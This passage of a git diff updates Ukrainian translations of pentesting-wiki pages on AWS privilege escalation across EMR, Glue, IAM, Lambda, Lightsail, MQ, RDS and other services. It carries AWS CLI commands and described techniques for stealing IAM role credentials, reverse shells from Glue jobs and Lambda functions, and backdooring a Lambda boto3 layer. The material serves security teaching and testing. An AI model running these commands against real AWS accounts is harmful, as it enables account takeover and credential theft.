дозволами на **перебудову** програми (необхідно `elasticbeanstalk:RebuildEnvironment` та кілька інших, пов'язаних з `S3`, `EC2` та `Cloudformation`), ви можете **модифікувати** **код**, **перебудувати** додаток, і наступного разу, коли ви отримуєте доступ до додатку, він **виконає ваш новий код**, що дозволяє зловмиснику скомпрометувати додаток та облікові дані ролі IAM. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 468b73b6f..f2f8b86bb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -12,8 +12,8 @@ ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -Зловмисник з цими дозволами може **запустити новий кластер EMR, прикріпивши ролі EC2** та спробувати вкрасти його облікові дані.\ -Зверніть увагу, що для цього вам потрібно **знати деякий ssh приватний ключ, імпортований в обліковий запис** або імпортувати один, і мати можливість **відкрити порт 22 на головному вузлі** (ви можете зробити це з атрибутами `EmrManagedMasterSecurityGroup` та/або `ServiceAccessSecurityGroup` всередині `--ec2-attributes`). +Атакуючий з цими дозволами може **запустити новий кластер EMR, прикріплюючи ролі EC2** та намагатися вкрасти його облікові дані.\ +Зверніть увагу, що для цього вам потрібно **знати деякий ssh приватний ключ, імпортований в обліковий запис** або імпортувати один, і мати можливість **відкрити порт 22 на майстер-ноді** (ви можете зробити це з атрибутами `EmrManagedMasterSecurityGroup` та/або `ServiceAccessSecurityGroup` всередині `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,9 +36,9 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Зверніть увагу, як **EMR роль** вказується в `--service-role`, а **ec2 роль** вказується в `--ec2-attributes` всередині `InstanceProfile`. Однак, ця техніка дозволяє лише вкрасти облікові дані EC2 ролі (оскільки ви підключитеся через ssh), але не EMR IAM роль. +Зверніть увагу, як **EMR роль** вказується в `--service-role`, а **ec2 роль** вказується в `--ec2-attributes` всередині `InstanceProfile`. Однак ця техніка дозволяє лише вкрасти облікові дані EC2 ролі (оскільки ви підключитеся через ssh), але не EMR IAM роль. -**Potential Impact:** Privesc до EC2 сервісної ролі, що вказана. +**Потенційний вплив:** Privesc до EC2 сервісної ролі, що вказана. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` @@ -47,7 +47,7 @@ aws emr describe-cluster --cluster-id > [!CAUTION] > Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. -**Potential Impact:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Потенційний вплив:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` @@ -57,6 +57,6 @@ URL ноутбука: `https://.emrnotebooks-prod.eu-west-1.amazona > [!CAUTION] > Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. -**Potential Impact:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Потенційний вплив:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index 533863026..5df9ad2a8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,12 +4,12 @@ ### `gamelift:RequestUploadCredentials` -З цією дозволом зловмисник може отримати **новий набір облікових даних для використання при завантаженні** нового набору файлів збірки гри до Amazon GameLift's Amazon S3. Він поверне **облікові дані для завантаження в S3**. +З цією дозволом зловмисник може отримати **новий набір облікових даних для використання при завантаженні** нового набору файлів збірки гри до Amazon GameLift's Amazon S3. Він поверне **облікові дані для завантаження S3**. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` -## References +## Посилання - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 2b7239cf4..b5b0fe5c9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,7 +6,7 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Користувачі з цими дозволами можуть **налаштувати нову точку розробки AWS Glue**, **призначаючи існуючу роль служби, яку може прийняти Glue**, з конкретними дозволами для цієї точки. +Користувачі з цими дозволами можуть **налаштувати нову точку розробки AWS Glue**, **призначаючи існуючу роль служби, яку може використовувати Glue**, з конкретними дозволами для цієї точки. Після налаштування **зловмисник може підключитися до екземпляра точки через SSH** і вкрасти облікові дані IAM призначеної ролі: ```bash @@ -28,7 +28,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Користувачі з цим дозволом можуть **змінити існуючий** кінцевий пункт розробки Glue, **дозволяючи доступ по SSH до нього**. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі кінцевого пункту: +Користувачі з цим дозволом можуть **змінити SSH-ключ існуючої точки розробки Glue**, **дозволяючи доступ по SSH до неї**. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі точки розробки: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Потенційний вплив:** Привілейоване підвищення до ролі служби Glue. +**Потенційний вплив:** Privesc до ролі служби glue, що використовується. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Користувачі з **`iam:PassRole`** в поєднанні з **`glue:CreateJob` або `glue:UpdateJob`**, і з **`glue:StartJobRun` або `glue:CreateTrigger`** можуть **створити або оновити завдання AWS Glue**, прикріпивши будь-який **обліковий запис служби Glue**, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python-коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації **облікових даних IAM** ролі, прикріпленої до завдання Glue, що призводить до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі: +Користувачі з **`iam:PassRole`** у поєднанні з **`glue:CreateJob` або `glue:UpdateJob`**, і з **`glue:StartJobRun` або `glue:CreateTrigger`** можуть **створити або оновити завдання AWS Glue**, прикріпивши будь-який **обліковий запис служби Glue**, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python-коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації **облікових даних IAM** ролі, прикріпленої до завдання Glue, що може призвести до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі: ```bash # Content of the python script saved in s3: #import socket,subprocess,os diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 46a3a10b8..b4e94f8d0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -Для отримання додаткової інформації про IAM дивіться: +Для отримання додаткової інформації про IAM перегляньте: {{#ref}} ../aws-services/aws-iam-enum.md @@ -23,7 +23,7 @@ aws iam create-policy-version --policy-arn \ ### **`iam:SetDefaultPolicyVersion`** -Дозволяє змінювати версію за замовчуванням IAM політики на іншу існуючу версію, потенційно ескалуючи привілеї, якщо нова версія має більше дозволів. +Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, потенційно ескалуючи привілеї, якщо нова версія має більше дозволів. **Bash команда:** ```bash @@ -55,7 +55,7 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Вплив:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач. +**Вплив:** Пряма ескалація привілеїв шляхом входу як "будь-який" користувач. ### **`iam:UpdateAccessKey`** @@ -69,7 +69,7 @@ aws iam update-access-key --access-key-id --status Active --user ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Дозволяє генерувати або скидувати облікові дані для конкретних служб AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи асоційованого користувача. +Дозволяє генерувати або скидувати облікові дані для конкретних сервісів AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи асоційованого користувача. **Експлуатація для створення:** ```bash @@ -192,7 +192,7 @@ aws iam resync-mfa-device --user-name --serial-number ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -З цими дозволами ви можете **змінити XML-метадані SAML-з'єднання**. Потім ви можете зловживати **SAML-федерацією** для **входу** з будь-якою **роллю, яка їй довіряє**. +З цими дозволами ви можете **змінити XML-метадані SAML-з'єднання**. Потім ви могли б зловживати **SAML-федерацією** для **входу** з будь-якою **роллю, яка їй довіряє**. Зверніть увагу, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, щоб вставити свій, увійти та налаштувати попереднє. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 32cd1e023..e40245a38 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -Для отримання додаткової інформації про KMS дивіться: +Для отримання додаткової інформації про KMS перегляньте: {{#ref}} ../aws-services/aws-kms-enum.md @@ -76,7 +76,7 @@ aws kms list-grants --key-id ``` ### `kms:CreateKey`, `kms:ReplicateKey` -З цими дозволами можливо реплікувати ключ KMS, активований для кількох регіонів, в іншому регіоні з іншою політикою. +З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою. Отже, зловмисник може зловживати цим, щоб отримати підвищення привілеїв до ключа та використовувати його. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 66581c1d3..f662872b8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -13,8 +13,8 @@ ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Користувачі з правами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:InvokeFunction`** можуть підвищити свої привілеї.\ -Вони можуть **створити нову Lambda функцію та призначити їй існуючу IAM роль**, надаючи функції права, пов'язані з цією роллю. Користувач може потім **написати та завантажити код до цієї Lambda функції (наприклад, з rev shell)**.\ -Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання непрямо через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\ +Вони можуть **створити нову Lambda функцію та призначити їй існуючу IAM роль**, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім **написати та завантажити код до цієї Lambda функції (наприклад, з rev shell)**.\ +Після налаштування функції користувач може **запустити її виконання** та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання опосередковано через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\\ Зловмисник може зловживати цим, щоб отримати **rev shell та вкрасти токен**: ```python:rev.py @@ -47,7 +47,7 @@ aws lambda invoke --function-name my_function output.txt aws iam list-attached-user-policies --user-name ``` Ви також могли б **зловживати дозволами ролі lambda** з самої функції lambda.\ -Якщо роль lambda мала б достатньо дозволів, ви могли б використати її, щоб надати собі права адміністратора: +Якщо роль lambda мала б достатньо дозволів, ви могли б використати її для надання адміністративних прав собі: ```python import boto3 def lambda_handler(event, context): @@ -74,7 +74,7 @@ cat output.txt ``` **Потенційний вплив:** Пряме підвищення привілеїв до вказаної довільної ролі служби lambda. -> [!УВАГА] +> [!CAUTION] > Зверніть увагу, що навіть якщо це може виглядати цікаво, **`lambda:InvokeAsync`** **не** дозволяє самостійно **виконувати `aws lambda invoke-async`**, вам також потрібен `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` @@ -89,10 +89,10 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Користувачі з **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** дозволами (і потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї** навіть без `lambda:InvokeFunction`.\ +Користувачі з дозволами **`iam:PassRole`, `lambda:CreateFunction` та `lambda:CreateEventSourceMapping`** (і потенційно `dynamodb:PutItem` та `dynamodb:CreateTable`) можуть непрямо **підвищити привілеї**, навіть без `lambda:InvokeFunction`.\ Вони можуть створити **функцію Lambda з шкідливим кодом і призначити їй існуючу роль IAM**. -Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через картографування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при введенні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої ролі IAM. +Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через мапування джерела подій. Це налаштування забезпечує автоматичний **тригер функції Lambda при додаванні нового елемента** в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої ролі IAM. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ @@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` -З функцією Lambda, пов'язаною з потоком DynamoDB, зловмисник може **непрямо активувати Lambda, активуючи потік DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: +З функцією Lambda, пов'язаною зі стрімом DynamoDB, зловмисник може **непрямо активувати Lambda, активуючи стрім DynamoDB**. Це можна зробити, **вставивши елемент** у таблицю DynamoDB: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} @@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають потенціал **модифікувати код існуючої Lambda-функції, яка пов'язана з IAM-роллю.**\ -Зловмисник може **модифікувати код lambda для ексфільтрації IAM-облікових даних**. +Користувачі, які мають дозвіл **`lambda:UpdateFunctionCode`**, мають потенціал **модифікувати код існуючої функції Lambda, яка пов'язана з роллю IAM.**\ +Зловмисник може **модифікувати код lambda для ексфільтрації облікових даних IAM**. -Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, таким чином непрямо сприяючи виконанню модифікованого коду. +Хоча зловмисник може не мати прямої можливості викликати функцію, якщо функція Lambda вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, тим самим непрямо сприяючи виконанню модифікованого коду. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -210,7 +210,7 @@ pip3 install -t ./lambda_layer boto3 ``` Ви можете відкрити `./lambda_layer/boto3/__init__.py` і **додати бекдор у глобальний код** (функцію для ексфільтрації облікових даних або отримання зворотного шелу, наприклад). -Потім стисніть цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути дозволів на це).\ +Потім з ZIP-архівуйте цю директорію `./lambda_layer` і **завантажте новий lambda layer** у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути на це дозволів).\ Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Також layer повинен бути **сумісним з версією python**, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в **тій же області:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -228,9 +228,9 @@ aws lambda update-function-configuration \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -Наступним кроком буде або **викликати функцію** самостійно, якщо ми можемо, або чекати, поки **вона буде викликана** звичайними засобами – що є більш безпечним методом. +Наступним кроком буде або **виклик функції** самостійно, якщо ми можемо, або чекати, поки її **викличуть** звичайним способом – що є більш безпечним методом. -**Більш прихований спосіб експлуатувати цю вразливість** можна знайти в: +**Більш прихований спосіб експлуатації цієї вразливості** можна знайти в: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -244,7 +244,7 @@ aws lambda update-function-configuration \ ### Lambda MitM -Деякі lambdas будуть **отримувати чутливу інформацію від користувачів у параметрах.** Якщо ви отримаєте RCE в одному з них, ви зможете ексфільтрувати інформацію, яку інші користувачі надсилають до нього, перевірте це в: +Деякі lambdas будуть **отримувати чутливу інформацію від користувачів у параметрах.** Якщо ви отримаєте RCE в одній з них, ви зможете ексфільтрувати інформацію, яку інші користувачі надсилають їй, перевірте це в: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 8581c7bba..39615019d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ {{#endref}} > [!WARNING] -> Важливо зазначити, що Lightsail **не використовує IAM ролі, що належать користувачу**, а належать керованому обліковому запису AWS, тому ви не можете зловживати цією службою для підвищення привілеїв. Однак, **чутливі дані**, такі як код, API ключі та інформація про базу даних, можуть бути знайдені в цій службі. +> Важливо зазначити, що Lightsail **не використовує IAM ролі, що належать користувачу**, а належать керованому обліковому запису AWS, тому ви не можете зловживати цим сервісом для підвищення привілеїв. Однак, **чутливі дані**, такі як код, API ключі та інформація про бази даних, можуть бути знайдені в цьому сервісі. ### `lightsail:DownloadDefaultKeyPair` @@ -39,7 +39,7 @@ aws lightsail create-bucket-access-key --bucket-name ### `lightsail:GetRelationalDatabaseMasterUserPassword` -Ця дозволена дія дозволить вам отримати облікові дані для доступу до бази даних: +Ця дозволяє отримати облікові дані для доступу до бази даних: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` @@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \ ### `lightsail:UpdateBucket` -З цією дозволом зловмисник може надати своєму обліковому запису AWS доступ на читання до бакетів або навіть зробити бакети публічними для всіх: +З цією дозволом зловмисник може надати своєму обліковому запису AWS доступ на читання до бакетів або навіть зробити бакети загальнодоступними для всіх: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -105,7 +105,7 @@ aws update-bucket --bucket-name --access-rules getObject=private,allowPu ### `lightsail:UpdateContainerService` -З цими правами зловмисник може надати доступ до приватних ECR з сервісу контейнерів. +З цими правами атакуючий може надати доступ до приватних ECR з сервісу контейнерів. ```bash aws update-container-service \ --service-name \ @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (взяття піддомену під контроль), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть встановити основний домен на свою власну IP-адресу. +Зловмисник з цим дозволом може створити піддомен і вказати його на свою власну IP-адресу (взяття піддомену під контроль), або створити SPF запис, який дозволяє йому підробляти електронні листи з домену, або навіть вказати основний домен на свою власну IP-адресу. ```bash aws lightsail create-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 8d8bbcd9c..68bc4f9b2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -31,13 +31,13 @@ aws mq update-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:UpdateBroker` -Якщо брокер використовує **LDAP** для авторизації з **ActiveMQ**, можливо **змінити** **конфігурацію** сервера LDAP, що використовується, на **той, що контролюється зловмисником**. Таким чином, зловмисник зможе **викрасти всі облікові дані, що надсилаються через LDAP**. +Якщо брокер використовує **LDAP** для авторизації з **ActiveMQ**, можливо **змінити** **конфігурацію** сервера LDAP, що використовується, на **той, що контролюється атакуючим**. Таким чином, атакуючий зможе **викрасти всі облікові дані, що надсилаються через LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -Якщо вам вдасться знайти оригінальні облікові дані, використані ActiveMQ, ви зможете виконати MitM, вкрасти облікові дані, використати їх на оригінальному сервері та надіслати відповідь (можливо, просто повторно використавши вкрадені облікові дані, ви зможете це зробити). +Якщо ви зможете якимось чином знайти оригінальні облікові дані, використані ActiveMQ, ви зможете виконати MitM, вкрасти облікові дані, використати їх на оригінальному сервері та надіслати відповідь (можливо, просто повторно використавши вкрадені облікові дані, ви зможете це зробити). -**Potential Impact:** Вкрасти облікові дані ActiveMQ +**Потенційний вплив:** Вкрасти облікові дані ActiveMQ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index efddfaad3..a7af5169e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ ### `msk:ListClusters`, `msk:UpdateSecurity` -З цими **привілеями** та **доступом до VPC, де знаходяться брокери kafka**, ви можете додати **None authentication** для доступу до них. +З цими **привілеями** та **доступом до VPC, де знаходяться kafka брокери**, ви можете додати **None authentication** для доступу до них. ```bash aws msk --client-authentication --cluster-arn --current-version ``` -Вам потрібен доступ до VPC, тому що **ви не можете увімкнути анонімну аутентифікацію з Kafka, що публічно** відкритий. Якщо він публічно відкритий, якщо використовується **SASL/SCRAM** аутентифікація, ви могли б **прочитати секрет** для доступу (вам знадобляться додаткові привілеї для читання секрету).\ +Вам потрібен доступ до VPC, оскільки **ви не можете увімкнути анонімну аутентифікацію з Kafka, що публічно** відкритий. Якщо він публічно відкритий, якщо використовується **SASL/SCRAM** аутентифікація, ви могли б **прочитати секрет** для доступу (вам знадобляться додаткові привілеї для читання секрету).\ Якщо використовується **аутентифікація на основі ролей IAM** і **kafka публічно відкритий**, ви все ще могли б зловживати цими привілеями, щоб надати собі дозволи для доступу до нього. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 0ebad6877..61a84d605 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -1,8 +1,8 @@ -# AWS - Organizations Privesc +# AWS - Організації Privesc {{#include ../../../banners/hacktricks-training.md}} -## Organizations +## Організації Для отримання додаткової інформації перегляньте: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 12e1082cc..066b14d3f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -27,7 +27,7 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Вам потрібно буде **зв'язатися з базою даних** (зазвичай вони доступні лише з внутрішніх мереж). +> Вам потрібно буде мати можливість **зв'язатися з базою даних** (вони зазвичай доступні лише з внутрішніх мереж). **Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. @@ -35,7 +35,7 @@ psql postgresql://:@:5432/ Згідно з [**документацією**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), користувач з цим дозволом може підключитися до екземпляра БД. -### Зловживання дозволами ролі IAM RDS +### Зловживання дозволами ролі RDS IAM #### Postgresql (Aurora) @@ -46,9 +46,9 @@ psql postgresql://:@:5432/ ```sql SELECT * FROM pg_extension; ``` -Якщо ви знайдете щось на зразок **`aws_s3`**, ви можете припустити, що ця база даних має **якийсь доступ до S3** (є й інші розширення, такі як **`aws_ml`** та **`aws_lambda`**). +Якщо ви знайдете щось на кшталт **`aws_s3`**, ви можете припустити, що ця база даних має **якийсь доступ до S3** (є й інші розширення, такі як **`aws_ml`** та **`aws_lambda`**). -Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете побачити, чи **кластер має прикріплену IAM роль** у полі **`AssociatedRoles`**. Якщо так, ви можете припустити, що база даних була **підготовлена для доступу до інших сервісів AWS**. На основі **імені ролі** (або якщо ви можете отримати **дозволи** ролі) ви могли б **вгадати**, який додатковий доступ має база даних. +Також, якщо у вас є дозволи на виконання **`aws rds describe-db-clusters`**, ви можете побачити, чи **кластер має будь-яку IAM роль, прикріплену** в полі **`AssociatedRoles`**. Якщо так, ви можете припустити, що база даних була **підготовлена для доступу до інших сервісів AWS**. Виходячи з **назви ролі** (або якщо ви можете отримати **дозволи** ролі), ви могли б **вгадати**, який додатковий доступ має база даних. Тепер, щоб **прочитати файл всередині бакету**, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою: ```sql @@ -104,7 +104,7 @@ DROP TABLE ttemp; ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS.\ +**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у RDS екземплярі.\ Зверніть увагу, що деякі БД вимагають додаткових налаштувань, таких як Mysql, який потребує вказати роль ARN у групах параметрів. ### `rds:CreateDBInstance` @@ -124,7 +124,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Test -Зловмисник з правами `rds:CreateDBInstance` та `iam:PassRole` може **створити новий екземпляр RDS з прикріпленою вказаною роллю**. Зловмисник може потім потенційно **отримати доступ до чутливих даних** або змінити дані в екземплярі. +Зловмисник з правами `rds:CreateDBInstance` та `iam:PassRole` може **створити новий екземпляр RDS з прикріпленою вказаною роллю**. Потім зловмисник може потенційно **отримати доступ до чутливих даних** або змінити дані в екземплярі. > [!WARNING] > Деякі вимоги до ролі/профілю екземпляра для прикріплення (з [**тут**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): @@ -135,14 +135,14 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS. +**Потенційний вплив**: Доступ до чутливих даних або несанкціоновані зміни даних у RDS екземплярі. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Зловмисник з правами `rds:AddRoleToDBInstance` та `iam:PassRole` може **додати вказану роль до існуючого екземпляра 